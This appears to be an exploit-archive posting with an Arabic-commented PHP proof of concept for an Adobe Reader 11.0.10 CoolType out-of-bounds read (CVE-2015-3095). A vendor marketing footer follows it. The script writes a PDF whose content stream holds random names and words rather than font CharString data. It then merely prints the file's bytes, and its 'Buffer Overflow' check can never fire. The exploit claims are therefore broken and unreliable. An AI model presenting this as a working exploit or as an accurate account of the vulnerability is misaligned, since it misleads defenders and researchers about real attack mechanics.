=============================================================================================================================================
| # Title : Adobe Reader 11.0.10 CoolType Out-Of-Bounds Read vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://get.adobe.com/reader/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: Scanning for Buffer Overflow Vulnerability Using CharString in PDF
This code aims to simulate the buffer overflow vulnerability in Adobe Reader by exploiting CharString instructions.
The code generates random data in a PDF file that contains invalid CharString instructions, then simulates reading from the file and analyzes the data that might lead to a buffer overflow.
(Related : https://packetstorm.news/files/id/189439/ Linked CVE numbers: CVE-2015-3095 ) .
[+] save code as poc.php.
[+] Usage = php poc.php
[+] PayLoad :
<?php
// دالة لتحميل بيانات من ملف وقراءة التعليمات (المحاكاة)
function readCharStringData($filePath) {
// التحقق من وجود الملف أولاً
if (!file_exists($filePath)) {
echo "الملف لا يوجد: $filePath\n";
return;
}
$file = fopen($filePath, 'rb');
if (!$file) {
die("فشل في فتح الملف.\n");
}
// قراءة البيانات (محاكاة للثغرة)
$data = fread($file, 8192); // قم بقراءة 8192 بايت لتجاوز حجم المخزن المؤقت
// تحقق إذا كانت القراءة قد فشلت
if ($data === false || strlen($data) == 0) {
echo "فشل في قراءة البيانات.\n";
fclose($file);
return;
}
// تنفيذ قراءة بيانات غير مهيأة (محاكاة الخطأ المحتمل)
$position = 0;
// المحاكاة بأن البيانات كبيرة جدًا
echo "Read data from file:\n";
while ($position < strlen($data)) {
// تحقق إذا كانت البيانات كافية في السلسلة
if (isset($data[$position])) {
// قراءة بايت جديد
$byte = ord($data[$position]);
echo "read byte: " . dechex($byte) . " From the position: " . $position . "\n";
} else {
// إذا تم الوصول إلى موضع غير مهيأ
echo "End of data exceeded at position: " . $position . "\n";
echo " (Buffer Overflow)!\n";
break;
}
// الانتقال إلى البايت التالي
$position++;
}
fclose($file);
}
// دالة لإنشاء بيانات CharString عشوائية
function generateRandomCharString($numEntries) {
$randomCharString = "";
$names = ["Alice", "Bob", "Charlie", "David", "Eve", "Frank", "Grace", "Heidi", "Ivan", "Judy"];
$objects = ["Laptop", "Phone", "Tablet", "Watch", "Headphones", "Keyboard", "Mouse", "Monitor", "Charger", "Speaker"];
$values = ["123", "456", "789", "1000", "9999", "5678", "10001", "7777", "303", "5050"];
// توليد عدد عشوائي من البيانات
for ($i = 0; $i < $numEntries; $i++) {
$name = $names[array_rand($names)];
$object = $objects[array_rand($objects)];
$value = $values[array_rand($values)];
$randomCharString .= "08 " . dechex(rand(1, 255)) . " " . dechex(rand(1, 255)) . " " . $name . " " . $object . " " . $value . " ";
}
return $randomCharString;
}
// إنشاء ملف PDF مع بيانات CharString غير صحيحة لتحفيز الخطأ
function createTestPdf($filePath) {
// إضافة بيانات محاكاة لـ CharString
$pdfContent = "%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [ 3 0 R ] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [ 0 0 612 792 ] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 10240 >>
stream
";
// إضافة بيانات عشوائية لـ CharString
$contentData = generateRandomCharString(1000); // توليد 1000 إدخال عشوائي لCharString
$pdfContent .= $contentData . "
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000100 00000 n
0000000200 00000 n
0000000300 00000 n
trailer
<< /Root 1 0 R /Size 5 >>
startxref
400
%%EOF";
// حفظ الملف إلى جهاز الكمبيوتر
file_put_contents($filePath, $pdfContent);
echo "تم إنشاء ملف PDF مع تعليمات CharString غير صحيحة. حاول فتح الملف في Adobe Reader.\n";
}
// مسار ملف الاختبار الذي يحتوي على بيانات CharString
$filePath = "indoushka.pdf";
// إنشاء الملف واختبار الثغرة
createTestPdf($filePath);
// استدعاء الدالة لقراءة بيانات الملف
readCharStringData($filePath);
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation